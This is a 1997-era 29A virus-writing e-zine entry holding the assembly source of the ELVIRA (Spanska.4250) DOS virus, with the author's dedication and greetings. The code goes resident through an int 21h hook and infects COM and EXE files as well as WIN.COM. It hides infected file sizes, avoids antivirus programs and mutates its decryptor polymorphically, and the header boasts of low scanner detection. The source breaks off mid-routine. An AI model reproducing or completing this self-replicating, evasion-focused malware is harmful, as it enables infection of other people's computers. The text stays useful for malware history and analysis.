Copy Link
Add to Bookmark
Report

29A Issue 02 04 11

eZine's profile picture
Published in 
29A
 · 4 years ago

  

; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ ELVIRA virus by Spanska ³
; ³ Called Spanska.4250 by AV people ³
; ³ This is my fourth virus ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
; *********************************************************************
; This virus is dedicated to a girl with black hairs and
; green eyes, a so lovely vampyre haunting Paris nights.
;
; - Greets to my friend VicodinES, Roadkill and all 29A guys
; (next time, don't fuck the cyberbar computers with your
; viruses! The day after, i couldn't send a mail to my girl.
; And for the next meeting, i will try to get up for the
; night rendez-vous in the Gran Via McDonald :)
; - French virus coders, where are you? I feel alone...
; ******************************contact me at el_gato@rocketmail.com***
;
;
; At the time it was released (September 97), the heuristic
; detection on 100 infected bait files was:
; - TBSCAN 7.07 0/100
; - TBSCANW 7.06 5/100
; - FPROT 2.26 2/100
; - AVP 3.0 (1.08) 0/100
; - FINDVIRUS 7.69 0/100
; - DRWEB 20/100
;
; generation zero size: 4297 bytes
; virus size: 4250 bytes
;
; compile it with TASM /m2 and TLINK /t
;
; Properties:
; TSR/runtime COM/EXE semi-stealth polymorphic
; Signature: "k" and seconds = 30
; No infection of some AV or command.com
; Disables stealth routine in case of archiver execution
; Immediately infects win.com (so it can infect all DOS programs
; under W3.1 or W95).
; Graphical payload with 3 messages in french, english and spanish
; (Star-Wars like effect, see extracted routine in elvira-g.com)
; Slow poly (just 365 possibilities because i'm an idiot)
;
; About the poly routine:
; As you can see, the poly engine is a very simple routine. Each
; instruction on the decryptor is set to a fixed size block (what
; i call "mutation" in the source. There are 14 different blocks.
; For each of these blocks, i have a stock of something like 10
; similar ones that perform the same operation, but with different
; manner (see end of virus; for exemple, i have 12 ways to get
; the delta offset in 23 bytes). This lame engine has some
; advantages. 1/ It's very easy and quick to code. 2/ You can add
; very easily new blocks in the stock, for example to make new
; undetectable strains. 3/ You can have a great strain variability,
; just limited by your imagination (think all the possible manners
; to replace a "mov ax, bx" or a "call XX"). Of course, there are
; some problems. 1/ Mutation start always at same offset. 2/ You
; sometimes have to "fill the holes" in blocks (with nops for
; example). 3/ Mutation stocks are big (in this virus, 2000-2500
; bytes).

code segment
assume ds:code, ss:code, cs:code, es:code
org 100h

start:
db 0E9h, 2Ch, 00 ;jmp start_virus
signature db "k" ;signature

;******************FAKE HOST***************************
mov dx, offset message ;*
mov ah, 09h ;*
int 21h ;*
mov ax,4c00h ;*
int 21h ;*
message db "------Fake host execution-----$" ;*
;******************************************************

start_virus:

mutation0:
db 0B8h, 38h, 1 ;mov ax, offset delta
db 0B9h, 0Eh, 0 ;mov cx, offset mutation1-delta
call $+3
;delta:
mov bx, sp
mov dx, ss:[bx]
sub dx, ax
mov bp, dx
add ss:[bx], cx
ret
clc

mutation1:
push es
push ds
push cs
push cs
pop es
pop ds
db 14 dup (90h)

mutation2:
db 0EBh, 0Eh ;jmp decrypte
nop
nop
nop

mutation3:
baise_flag_cryptage:
stosb
nop
nop
nop
nop
nop

mutation4:
ret
nop
nop
nop
nop
;
;----------------------decrypting routine-------------------------
;
decrypte:

mutation5:
mov cx, fin_cryptage-debut_cryptage
nop
nop
nop

mutation6:
lea si, [bp+offset debut_cryptage]
nop
nop
nop
nop
nop
nop

mutation7:
mov di, si
nop
nop

mutation8:
mov dl, cs:[bp+offset clef]
nop
nop
nop
nop
nop

mutation9:
xor_loop:
lodsb
nop
nop
nop
nop
nop

mutation10:
xor al, dl
nop
nop
nop
nop
nop
nop
nop
nop

mutation11:
call baise_flag_cryptage
db 90h, 90h, 90h, 90h, 90h
db 90h, 90h, 90h, 90h

mutation12:
dec cx
nop
nop
nop
nop

mutation13:
cmp cx, 0
nop
nop
nop

mutation14:
jne xor_loop
db 90h, 90h, 90h
db 90h, 90h


debut_cryptage: ;end of polymorphic decryptor

;***************** save original es, ds *******************

pop ds
pop es
push es
push ds

;************* test if virus is already resident ******************

mov ax, 6969h
int 21h ;is my handler here?
cmp bx, 6969h ;if yes, bx = 6969h
jne va_resident ;no => go resident
jmp deja_installe ;yes => stop

;********************* go TSR ***************************

va_resident:

push 4a00h
pop ax
mov bx,0ffffh ;is there some free memory?
int 21h ;return bx = memory - max size

sub bx,((endvirus-start_virus+0fh)/10h)*2+1 ;substract what we need
;now bx=wanted paragraphs
push 4a00h
pop ax
int 21h ;return es = free block segment

push 4800h ;set memory
pop ax
mov bx,((endvirus-start_virus+0fh)/10h)*2
int 21h ;return ax = free segment

dec ax
mov es,ax ;es points on the
inc ax ;new MCB

mov byte ptr es:[0],'Z' ;mark it as the last one
mov cx, 8 ;owner = dos
mov word ptr es:[1],cx

mov cx, cs ;copy virus in memory
mov ds, cx
lea si, [bp+offset start_virus]
mov es, ax
xor di, di
mov cx, endvirus-start_virus
rep movsb
push ax

;********** install my interruption 21 ************************

installe:

;------ 1) get the old interruption vector

push 3521h
pop ax
int 21h ;return bx=offset, es=segment
pop ds
mov ds:[offset ip_21-offset start_virus], bx ;save offset
mov ds:[offset cs_21-offset start_virus], es ;save segment

;------ 2) put my own vector

mov dx, [offset nouvelle_int_21-offset start_virus]
push 2522h
pop ax
dec ax ;avoid flag M
int 21h

;------ 3) Am i WIN.COM?

mov word ptr ax, cs:[104h] ;bytes 4 and 5 of WIN.COM de W95
cmp ax, 0E1Fh
jne i_am_not_win
mov word ptr ax, cs:[106h] ;bytes 6 and 7 of WIN.COM de W95
cmp ax, 0E807h
je i_am_win

i_am_not_win:
call infecte_win ;infect win.com

i_am_win:
jmp deja_installe

;******************** my interruption 21 *****************************

nouvelle_int_21:

cmp byte ptr cs:[stealth_non-start_virus], 0FFh ;archiver: no stealth
je saute_dir_stealth

xor ah, 55h
cmp ah, 44h ;dir?
je dir_stealth
cmp ah, 47h ;dir?
je dir_stealth
xor ah, 55h
saute_dir_stealth:

xor ax, 5555h ;avoid flag L
cmp ax, 1E55h ;program execution?
jne suite ;no => continue
xor ax, 5555h
jmp infecte ;yes => infect program
suite:
xor ax, 5555h
cmp ax, 6969h ;residency test?
jne vieille_int_21 ;no => let's continue with old int
xchg ax, bx ;yes => put 6969h in bx
iret ;and return to program

;***************** old interruption 21 *************************

vieille_int_21:
db 0EAh ;EAh=JMP FAR
ip_21 dw ? ;offset old int
cs_21 dw ? ;segment old int
iret

;****************** directory stealth ********************************

dir_stealth:
xor ah, 55h
pushf ;simulation of an int 21h, so push flags
push cs ;and segment
call vieille_int_21 ;call old int 21h
or al, al ;if al=0 all is OK
jnz exit_fcb ;if al<>0 stop stealth

push ax
push bx
push es
push 5100h ;get current psp
pop ax
int 21h ;return segment psp in bx, offset in dx
mov es, bx ;now es = segment psp
cmp bx, es:[16h] ;come from DOS?
jnz exit_fcb2 ;no => stop stealth
mov bx, dx ;bx= psp offset
mov al, [bx] ;extended fcb?
push ax ;save marker of extended fcb
push 2F00h ;get current dta
pop ax
int 21h ;return in es:bx dta position
pop ax ;get back fcb marker
inc al ;FFh+1=0, so if extended z=0
jnz no_fix ;no extended
add bx, 7 ;extended: offset is 7 bytes more
no_fix:
mov al, es:[bx+17h] ;time in al
and al, 00011111b ;just look at seconds
xor al, 00001111b ;seconds = 30?
jne exit_fcb2 ;no => stop stealth
cmp word ptr es:[bx+1fh], 0 ;prog<65000?
jne soustraction ;no => stealth it
cmp word ptr es:[bx+1dh], 500+endvirus-start_virus ;prog<virus size+500?
jb exit_fcb2 ;yes => no stealth
soustraction:
sub word ptr es:[bx+1dh], endvirus-start_virus ;substract virus size
sbb word ptr es:[bx+1fh], 0
exit_fcb2:
pop es
pop bx
pop ax
exit_fcb:
iret

;********************* INFECTION ***************************************

infecte:
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds

;---- 1) do not infect an anti-virus

mov si, dx ;ds:dx = offset program name
mov di, offset av_liste-start_virus ;in di, offset AV list

cherche_extension: ;find extension
lodsb
cmp al, "."
jnz cherche_extension

lodsw
mov cs:[f_ext-start_virus], ax ;put extension in memory
lodsb
mov cs:[f_ext-start_virus+2], al

cherche_debut: ;find start of program name
dec si
dec si
lodsb
cmp al, "\"
jne cherche_debut

mov cs:[f_name-start_virus], ds ;put segment/offset of program name
mov cs:[f_name-start_virus+2], si ;in memory

push cs ;scasw uses es:di
pop es ;so exchange segments

lodsw ;get 2 first letters
mov cx, 13 ;12 AV names to compare + COMMAND.COM
repne scasw ;compare
jne av_ok
jmp redonne_la_main ;it's an AV => do not infect
av_ok:

mov byte ptr cs:[stealth_non-start_virus], 0 ;switch to zero
mov cx, 5 ;5 archivers
repne scasw ;test names
jne zip_ok
mov byte ptr cs:[stealth_non-start_virus], 0FFh ;it's an archiver
zip_ok:

;----- 2) open file and read header

mov ds, cs:[f_name-start_virus] ;file name in
mov dx, cs:[f_name-start_virus+2] ;ds:dx for attribs

push 4300h ;get attribs in al
pop ax
int 21h
mov byte ptr cs:[f_attrib-start_virus], al ;attribs in memory

xor cx, cx
push 4301h ;attribs to zero
pop ax
int 21h

mov ax, 03d02h ;open file in read/write
int 21h
jnc cont
jmp redonne_la_main_attributs ;problem? do not infect

cont:
xchg ax, bx ;handle in bx
mov word ptr cs:[f_handle-start_virus], bx

push cs ;all segments point
push cs ;to virus code
pop es
pop ds

push 5700h ;get time/date
pop ax
int 21h
mov cs:[f_time-start_virus], cx ;in memory
mov cs:[f_date-start_virus], dx

mov ax, 3F00h ;read file
mov cx, 1ch ;1Ch first bytes
mov dx, offset exehead-start_virus ;in their buffer
int 21h

;---- 3) is it an exe or a com?

cmp ds:[f_ext-start_virus], "XE"
jne compare_suite
cmp byte ptr ds:[f_ext-start_virus+2], "E"
jne compare_suite
jmp infecte_exe

compare_suite:
cmp ds:[f_ext-start_virus], "OC"
jne pas_bonne_ext
cmp byte ptr ds:[f_ext-start_virus+2], "M"
je infecte_com

pas_bonne_ext:
jmp ferme_et_redonne_la_main_sans_infection

;---- 4) COM infection

infecte_com:
cmp byte ptr ds:[exehead-start_virus+3], "k" ;already infected?
jz pas_bonne_ext ;yes => do not infect

mov si, offset exehead-offset start_virus ;transfert 4 bytes
mov di, offset contenu-offset start_virus ;from buffer to new location
movsw
movsw

mov ax, 4202h ;pointer at the end of file
push ax ;return size in ax
pop ax
xor cx, cx
xor dx, dx
int 21h

cmp ax, 56000 ;no infection if
jb verif_trop_petit
jmp ferme_et_redonne_la_main_sans_infection ;.com is > 56000
verif_trop_petit:
cmp ax, 500
ja ecriture_com
jmp ferme_et_redonne_la_main_sans_infection ;or < 500

ecriture_com:
sub ax, 3 ;size-3 (cause JMP at start)
push ax ;save corrected size

CALL POLY_DEPUIS_RESIDENT

push 4000h ;write decryptor
pop ax
xor dx, dx
mov cx, debut_cryptage-start_virus
int 21h

push 4000h ;write encrypted body
pop ax
mov dx, offset heap-start_virus
mov cx, endvirus-debut_cryptage
int 21h

mov di, offset exehead-offset start_virus ;adjust buffer
mov al, 0E9h ;with a jump
stosb
pop ax
stosw ;then corrected size
mov al, "k"
stosb ;then signature

mov ax, 4200h ;pointer at file start
push ax
pop ax
xor cx, cx
xor dx, dx
int 21h

push 4000h ;overwrite 4 first bytes
pop ax ;with JMP+signature
mov cx, 4
mov dx, offset exehead-start_virus
int 21h

jmp ferme_et_redonne_la_main

;----- 5) EXE infection

infecte_exe:
cmp byte ptr ds:[exehead-start_virus+18h], 40h ;windows file?
je exe_pas_bon ;yes => stop
cmp byte ptr ds:[exehead-start_virus+12h], "k" ;already infected?
je exe_pas_bon ;yes => stop
mov ax, word ptr ds:[exehead-start_virus] ;good MZ header?
add ah, al ;add M+Z
cmp ah,0A7h ;avoid flag Z
je exe_bon

exe_pas_bon:
jmp ferme_et_redonne_la_main_sans_infection
exe_bon:

;save header values

mov di, offset vIP-offset start_virus
mov ax, word ptr cs:[exehead-start_virus+14h]
stosw
mov ax, word ptr cs:[exehead-start_virus+16h]
stosw
mov ax, word ptr cs:[exehead-start_virus+0Eh]
stosw
mov ax, word ptr cs:[exehead-start_virus+10h]
stosw

mov ax, 4202h ;pointer at file end
push ax ;return size in dx:ax
pop ax
xor cx, cx
xor dx, dx
int 21h
push ax ;save size
push dx

; calculate new CS:IP

push ax
mov ax, word ptr cs:[exehead-start_virus+08h]
mov cl, 4
shl ax, cl
mov cx, ax
pop ax
sub ax, cx
sbb dx, 0

mov cl, 0Ch
shl dx, cl
mov cl, 4
push ax
shr ax, cl
add dx, ax
shl ax, cl
pop cx
sub cx, ax

mov word ptr cs:[exehead-start_virus+14h], cx ;new CS:IP values
mov word ptr cs:[exehead-start_virus+16h], dx
inc dx ;avoid flag K
mov word ptr cs:[exehead-start_virus+0Eh], dx ;new SS:SP values
mov word ptr cs:[exehead-start_virus+10h], 0FFFEh

; calculate new size

pop dx
pop ax
push ax
add ax, endvirus-start_virus
adc dx, 0
mov cl, 7
shl dx, cl
mov cl, 9
shr ax, cl
add ax, dx
inc ax
mov word ptr cs:[exehead-start_virus+04h], ax
pop ax
add ax, endvirus-start_virus
and ah, 1
mov word ptr cs:[exehead-start_virus+02h], ax

mov word ptr cs:[exehead-start_virus+12h], "k" ;write signature

mov ax, 4202h ;pointer at file end
push ax
pop ax
xor cx, cx
xor dx, dx
int 21h

CALL POLY_DEPUIS_RESIDENT

push 4000h ;write decryptor
pop ax
xor dx, dx
mov cx, debut_cryptage-start_virus
int 21h

push 4000h ;write encrypted body
pop ax
mov dx, offset heap-start_virus
mov cx, endvirus-debut_cryptage
int 21h

mov ax, 4200h ;pointer at file start
push ax
pop ax
xor cx, cx
xor dx, dx
int 21h

push 4000h ;overwrite exe header
pop ax
mov cx, 1ch
mov dx, offset exehead-start_virus
int 21h

jmp ferme_et_redonne_la_main

;----- 6) close and return to program

ferme_et_redonne_la_main_sans_infection:

mov cx, cs:[f_time-start_virus] ;get time/date from memory
mov dx, cs:[f_date-start_virus]
jmp time_date

ferme_et_redonne_la_main:

mov cx, cs:[f_time-start_virus] ;get time/date from memory
mov dx, cs:[f_date-start_virus]

and cl, 11100000b ;change seconds to 30
xor cl, 00001111b ;as an infection marker

time_date:
push 5701h ;change time/date
pop ax ;avoid flag F
int 21h

mov ax, 3e00h ;close file
int 21h

redonne_la_main_attributs:

mov ds, cs:[f_name-start_virus] ;file name in
mov dx, cs:[f_name-start_virus+2] ;ds:dx for attribs

xor ch, ch
mov byte ptr cl, cs:[f_attrib-start_virus] ;set back attribs
push 4301h
pop ax
int 21h

redonne_la_main:

pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf

jmp vieille_int_21 ;after infection, continue with normal int

;****** if program is already resident, or after going TSR *********

deja_installe:
pop ds ;get original segments
pop es

;******************* bomb or not bomb? **********************************

bombe_ou_pas:
mov ah, 2Ch ;internal clock: return ch=hour and cl=minute
int 21h
cmp cl, 30d ;are we at 30'?
jne com_ou_exe ;no => terminate
cmp dh, 15d ;yes => test seconds
ja com_ou_exe ;if seconds > 15 we finish
jmp bombe ;if seconds < 15 the bomb explodes! (1/240)

;************* terminate a com or an exe? ****************

com_ou_exe:
cmp byte ptr cs:0, 0CDh ;a COM always have an INT 20h at offset 0
je redonne_main_com

;------ 1) terminate an exe

mov ax, es
add ax, 10h
add word ptr cs:[bp+vCS], ax
cli
add ax, word ptr cs:[bp+vSS]
mov ss, ax
mov sp, word ptr cs:[bp+vSP]
sti

call annuler_registres

db 0EAh ;far jump to the original exe code
contenu:
vIP dw 9090h ;buffer to stock original file info
vCS dw 9090h ;EXE: stock ip, cs, ss, sp
vSS dw 9090h ;COM: stock les 5 premiers octets
vSP dw 9090h

;----- 2) terminate a com

redonne_main_com:
mov cx, word ptr [bp+offset contenu] ;transfer 4 first bytes
mov cs:[100h], cx ;to file start in memory
mov cx, word ptr [bp+offset contenu+2] ;avoid flag O
mov cs:[102h], cx

mov di, 101h ;put 100h into stack for the RET
dec di ;avoid flag B
push di

call annuler_registres

ret

;----- all registers to zero

annuler_registres:
xor ax, ax
xor bx, bx
xor cx, cx
xor dx, dx
xor di, di
xor si, si
xor bp, bp
ret

;**********************************************************************
;*************** infect win.com in runtime mode ***********************
;**********************************************************************

infecte_win:
push ds
push es

push cs
push cs
pop ds
pop es

mov cx, 0007h ;all attribs
lea dx, cs:[bp+offset file_win] ;ds:dx= file name (win.com)
mov ax, 4e00h ;find file
int 21h
jnc suite_win
jmp fin_win

suite_win:
push 4300h
pop ax
int 21h
mov byte ptr cs:[bp+f_attrib], al ;attribs in memory

xor cx, cx
push 4301h ;attribs to zero
pop ax
int 21h

mov ax, 3D02h ;open file
lea dx, cs:[bp+offset file_win] ;to file name
int 21h
jc remise_en_etat2

xchg ax, bx ;handle in bx
mov word ptr cs:[bp+f_handle], bx ;and in memory

push 5700h ;get time/date
pop ax
int 21h
mov word ptr cs:[bp+f_time], cx ;in memory
mov word ptr cs:[bp+f_date], dx

mov cx, 4 ;4 bytes to read
mov ax, 3F00h ;read file
lea dx, cs:[bp+offset exehead] ;buffer
int 21h
jc remise_en_etat

cmp byte ptr cs:[bp+offset exehead+3], "k" ;already infected?
jne continue_inf_win ;no => continue

remise_en_etat:
mov ah, 3Eh ;close file
int 21h

remise_en_etat2:
mov cl, byte ptr cs:[bp+offset f_attrib] ;attribs in cl
lea dx, [bp+offset file_win]
push 4301h ;change attribs
pop ax ;avoid flag F
int 21h
jmp fin_win

continue_inf_win:
lea si, cs:[bp+offset contenu] ;4 first bytes
lea di, cs:[bp+offset win4octets] ;in a temp buffer
movsw
movsw

lea si, cs:[bp+offset exehead]
lea di, cs:[bp+offset contenu]
movsw
movsw

;---------pointer to end of disk file (return size in dx:ax)---------

mov ax, 4202h
push ax
pop ax
xor cx, cx
xor dx, dx
int 21h

sub ax, 3 ;size-3 (cause JMP at start)
push ax ;remember size

CALL POLY_DEPUIS_RUNTIME ;poly, but from runtime routine

push 4000h ;write decryptor
pop ax
lea dx, cs:[bp+offset start_virus]
mov cx, debut_cryptage-start_virus
int 21h

push 4000h ;write encrypted body
pop ax
lea dx, cs:[bp+offset heap]
mov cx, endvirus-debut_cryptage
int 21h

lea di, [bp+offset exehead] ;adjust buffer
mov al, 0E9h ;with a jump
stosb
pop ax
stosw ;and with size-3
mov al, "k"
stosb ;and then signature

mov ax, 4200h ;pointer at file start
push ax
pop ax
xor cx, cx
xor dx, dx
int 21h

push 4000h ;overwrite 4 first bytes
pop ax
mov cx, 4
lea dx, [bp+offset exehead]
int 21h

mov cx, cs:[bp+f_time] ;get time/date
mov dx, cs:[bp+f_date]

and cl, 11100000b ;seconds to 30
xor cl, 00001111b ;as infection marker

push 5701h ;change time/date
pop ax ;avoid flag F
int 21h

mov ah, 3Eh ;close file
int 21h

mov cl, byte ptr cs:[bp+offset f_attrib] ;attribs in cl
lea dx, cs:[bp+offset file_win]
push 4301h ;change attribs
pop ax ;avoid flag F
int 21h

lea si, cs:[bp+offset win4octets] ;get back 4 win.com
lea di, cs:[bp+offset contenu] ;first bytes
movsw
movsw

fin_win:
pop es
pop ds

ret

;*******************************************************
;******************** BOMB *****************************
;*******************************************************

bombe:
largeur equ 255
profondeur equ 40

;-----------all segments equal to cs-------------

push cs
push cs
pop ds
pop es

terrain:
;--------------------go to VGA mode 13h-------------------------------

mov ax, 13h
int 10h

;------------------set color 1 to black----------------------------

mov dx, 3c8h
xor al, al
out dx, al
inc dx
mov cx, 6
tout_noir:
out dx, al
loop tout_noir

;--------------write black message on screen-------------------------

; 1/ select one of the 3 messages randomly

xor dx, dx
lea si, [bp+msg_bombe+23]
push si
pop di
mov ax, 3
mov bx, 23*3
call mute_bloc

lea si, [bp+offset msg_bombe]
mov cx, 5
affiche_message:
cmp cx, 4 ;second line is empty
je pas_ligne_3

; 2/ put cursor to good coordinates

xor bh, bh
mov ah,02h
int 10h

; 3/ write one line

push cx
mov cx, 23
affiche_ligne:
lodsb
mov bl, 1
mov ah, 0Eh
int 10h
loop affiche_ligne
pop cx

pas_ligne_3:
add dh, 1
loop affiche_message

;--------------initialize segments-----------------------

mov ax, 0A000h
mov ds, ax

mov ax, cs
add ah, 32 ;data will be on a stock segment far
mov es, ax ;away from actual code
push es ;on stack (cf [@@] + bas)

;-------------creation of the table (x,z) NB: y constant--------------
;here ds=video es=stock

mov cx, (largeur*profondeur) ;255*40 coordinates
xor si, si ;start of video screen
xor di, di ;start of stock zone
xor dx, dx ;end line counter

table:
mov bl, cl ;X: 0<bl<255
mov al, 128 ;center it
sub al, bl ;-128<al<128
stosb ;stock X

inc dx ;now, COLOR
or dl, dl ;end of line?
jnz pas_fin_de_ligne ;yes if dl=0
add si, 319-largeur ;so => next video line
pas_fin_de_ligne: ;not end of line
movsb ;stock COLOR

mov ax, cx ;Z: 0<ax<40*255
xor al, al ;0<ah<40
xchg ah, al ;0<al<40
shl al, 1 ;0<al<80
shl al, 1 ;0<al<160
inc ax ;1<ax<161 to avoid div by 0
stosw ;stock Z

loop table

;-------------------animation of letters-----------------------------
;here ds=video, es=stock

push ds
pop es ;es=video now
pop ds ;ds to stock segment (cf [@@])
anime:

;***********************
mov dx,3dah ;*
VRT: ;*
in al,dx ;*
test al,8 ;*
jnz VRT ;* wait vertical retrace
;* to avoid flicking
NoVRT: ;*
in al,dx ;*
test al,8 ;*
jz NoVRT ;*
;***********************

mov cx, largeur*profondeur ;we will draw 255*40 points
xor si, si ;ds:si=coordinates stock
xor di, di ;es:di=video
dessine:
lodsw ;X and color in ax
xchg ax, bx ;now in bx
lodsw ;Z in ax
mov word ptr cs:[bp+offset z], ax ;Z into a temp buffer
cmp ax, (128+4*profondeur) ;point is too far?
jb ca_sort_pas ;no => OK
sub ax, 200 ;yes => put it at the front
ca_sort_pas:
inc ax ;increment distance
mov word ptr ds:[si-2], ax ;stock new Z

;----------calculate xx et yy (screen) from x, y, z (3D)-------------
;optimization using bl as X and color as bh

push cx ;save counter
xchg ah, bl ;get X in ah
xor bl, bl ;bl used to remember sign
cmp ah, 128 ;X positive?
jb suite5 ;yes => OK
neg ah ;no => let's positivize it
inc bl ;and we remember it was negative
suite5: ;NB: calculations in fixed point mode
xor al, al ;X is in ah, same order than Z
xor dx, dx ;dx will not fuck my div
div word ptr cs:[bp+offset z] ;div X by Z
push ax ;result is coordinate 2D (XX)
mov ah, 60 ;Y is backside, altitude 60 = ground
xor al, al ;Y is in ah, same order than Z
xor dx, dx ;i said dx will not fuck my div
div word ptr cs:[bp+offset z] ;div Y by Z
xchg cx, ax ;result is coordinate 2D (YY)

;-------calculate video offset of points from XX and YY--------------
;optimization using cx as YY and XX on stack
;color is in bh, sign in bl

pop dx ;get XX from stack
cmp cx, 170 ;too much at the bottom: no plot
ja pas_plot
cmp dx, 156 ;too much on sides: no plot
ja pas_plot

push dx ;XX loves the stack
mov ax, 320 ;screen width
mul cx ;multiply YY by width
pop dx ;XX from stack to dx
cmp bl, 1 ;X and XX negative?
jne pos
sub ax, dx ;yes => substract XX from ax
jmp suite4
pos:
add ax, dx ;non => add XX to ax

suite4:
add ax, (320*30)+160 ;add screen height

;--------calculate color of point (shade effect)------------------

mov di, ax ;ax is video offset of point
push ax ;on stack
or bh, bh ;black point?
je eteindre ;yes => bypass shading routine

mov word ptr bx, cs:[bp+offset z] ;128<bx<328
mov cl, 4 ;divide it by 16
shr bx, cl ;8<bx<20
mov al, 36 ;default B&W colors (31=white,16=black)
sub al, bl ;16<al<28
jmp pas_eteindre
eteindre:
xor al, al ;color black
pas_eteindre:

;--------calculate point size------------------

pop dx ;get point offset

cmp dx, 320*100 ;above line 100?
jb fond ;yes => little point (far)

cmp dx, 320*151 ;above line 153?
jb moyen ;yes => middle point

proche: ;other case => big point (near)
stosb
stosb
stosb
add di, 320-3 ;big = 2 lines of 3 pixels
stosb
stosb
stosb
jmp pas_plot

moyen:
stosb ;middle = 2 pixels
fond:
stosb ;little = 1 pixel

pas_plot:

pop cx ;get back counter
dec cx ;one more point
je suite9 ;end of screen?
jmp dessine ;no => next point
suite9:

jmp anime ;yes => next screen

;-----------memory zones used for graphic effect------------

msg_bombe db " ELVIRA ! "
db " Black and White Girl "
db " from Paris "
db "You make me feel alive."

db "Pars. Reviens. Respire."
db " Puis repars. "
db " J'aime ton mouvement. "

db " Bruja con ojos verdes "
db " Eres un grito de vida,"
db " un canto de libertad. "

z dw ?

;************ memory zones used by virus********************

win4octets db 90h, 90h, 90h, 90h
f_ext db 0EEh, 0EEh, 0EEh
f_attrib db 0AAh
f_name dd ?
f_time dw ?
f_date dw ?
f_handle dw ?
exehead db 1Ch dup(0aah)
av_liste db "TBVIAVNAVSFIF-FVIVDRSCGUCO"
zip_liste db "PKARRALHBA"
stealth_non db 0
file_win db "C:\WINDOWS\WIN.COM", 0
copyright db " (c) Spanska 97"

;****************************************************
;********** STUPID MUTATION ENGINE ******************
;****************************************************

poly_depuis_runtime:

push ax
push bx
push cx
push dx
push es
push ds
push bp
jmp overwrite

poly_depuis_resident:

push ax
push bx
push cx
push dx
push es
push ds
push bp

mov bp, offset start_virus ;adjust bp value to use from TSR
neg bp

;-----random mutation of decryptor instructions and replacement of code-----

overwrite:
lea si, [bp+_mutation0] ;stock of possible mutations
lea di, [bp+mutation0] ;offset of mutation in decryptor
mov ax, 12 ;number of possibilities
mov bx, 23 ;byte number of this mutation
call mute_bloc ;random select one possibility

lea si, [bp+_mutation1]
lea di, [bp+mutation1]
mov ax, 10
mov bx, 20
call mute_bloc

lea si, [bp+_mutation2]
lea di, [bp+mutation2]
mov ax, 10
mov bx, 5
call mute_bloc

lea si, [bp+_mutation3]
lea di, [bp+mutation3]
mov ax, 10
mov bx, 6
call mute_bloc

lea si, [bp+_mutation4]
lea di, [bp+mutation4]
mov ax, 8
mov bx, 5
call mute_bloc

lea si, [bp+_mutation5]
lea di, [bp+mutation5]
mov ax, 9
mov bx, 6
call mute_bloc

lea si, [bp+_mutation6]
lea di, [bp+mutation6]
mov ax, 8
mov bx, 10
call mute_bloc

lea si, [bp+_mutation7]
lea di, [bp+mutation7]
mov ax, 9
mov bx, 4
call mute_bloc

lea si, [bp+_mutation8]
lea di, [bp+mutation8]
mov ax, 7
mov bx, 10
call mute_bloc

lea si, [bp+_mutation9]
lea di, [bp+mutation9]
mov ax, 10
mov bx, 6
call mute_bloc

mov ax, 100
call aleatoire
cmp ax, 20 ;20% chances for a XOR encryption
ja evite_suite
jmp cryptage_xor
evite_suite:
cmp ax, 40 ;20% chances for a ADD/SUB encryption
jb cryptage_add
cmp ax, 55 ;15% chances for a ROL/ROR encryption
jb cryptage_rol
cmp ax, 70 ;15% chances for a INC/DEC encryption
jb cryptage_inc
cmp ax, 85 ;15% chances for a NOT encryption
jb cryptage_not
;15% chances for a NEG encryption

cryptage_neg:
mov byte ptr cs:[bp+type_cryptage], 5
lea si, [bp+_mutation10sixte]
lea di, [bp+mutation10]
mov ax, 4
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages

cryptage_not:
mov byte ptr cs:[bp+type_cryptage], 4
lea si, [bp+_mutation10quinte]
lea di, [bp+mutation10]
mov ax, 4
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages

cryptage_inc:
mov byte ptr cs:[bp+type_cryptage], 3
lea si, [bp+_mutation10quart]
lea di, [bp+mutation10]
mov ax, 5
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages

cryptage_rol:
mov byte ptr cs:[bp+type_cryptage], 2
lea si, [bp+_mutation10ter]
lea di, [bp+mutation10]
mov ax, 4
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages

cryptage_add:
mov byte ptr cs:[bp+type_cryptage], 1
lea si, [bp+_mutation10bis]
lea di, [bp+mutation10]
mov ax, 5
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages

cryptage_xor:
mov byte ptr cs:[bp+type_cryptage], 0
lea si, [bp+_mutation10]
lea di, [bp+mutation10]
mov ax, 8
mov bx, 10
call mute_bloc

evite_autres_cryptages:
lea si, [bp+_mutation11]
lea di, [bp+mutation11]
mov ax, 6
mov bx, 12
call mute_bloc

lea si, [bp+_mutation12]
lea di, [bp+mutation12]
mov ax, 11
mov bx, 5
call mute_bloc

lea si, [bp+_mutation13]
lea di, [bp+mutation13]
mov ax, 9
mov bx, 6
call mute_bloc

lea si, [bp+_mutation14]
lea di, [bp+mutation14]
mov ax, 6
mov bx, 7
call mute_bloc

;---------------- new random encryption key from clock ---------------

mov ah, 2Ch
int 21h
mov cs:[bp+offset clef], dl

;------------- encrypt virus body in the heap -----------------------------

lea si, [bp+offset debut_cryptage]
lea di, [bp+offset heap]
mov cx, fin_cryptage - debut_cryptage

mov al, byte ptr cs:[bp+type_cryptage]
cmp al, 0
je xor_crypte
cmp al, 1
je sub_crypte
cmp al, 2
je ror_crypte
cmp al, 3
je dec_crypte
cmp al, 4
je not_crypte

neg_crypte:
lodsb
neg al
stosb
loop neg_crypte
jmp evite_autres_loops

not_crypte:
lodsb
not al
stosb
loop not_crypte
jmp evite_autres_loops

dec_crypte:
lodsb
dec al
stosb
loop dec_crypte
jmp evite_autres_loops

ror_crypte:
lodsb
ror al, 1
stosb
loop ror_crypte
jmp evite_autres_loops

sub_crypte:
lodsb
sub al, dl
stosb
loop sub_crypte
jmp evite_autres_loops

xor_crypte:
lodsb
xor al, dl
stosb
loop xor_crypte

evite_autres_loops:
mov al, dl
stosb

pop bp
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ret

;----------pseudo-random number generator--------------
;in: ax = upper limit
;out: ax = random number between 0 et limit-1 included

aleatoire:
push bx
push dx ;i've made a little error in this routine,
push cx ;because i wanted to make slow poly with:
xchg ax, bx
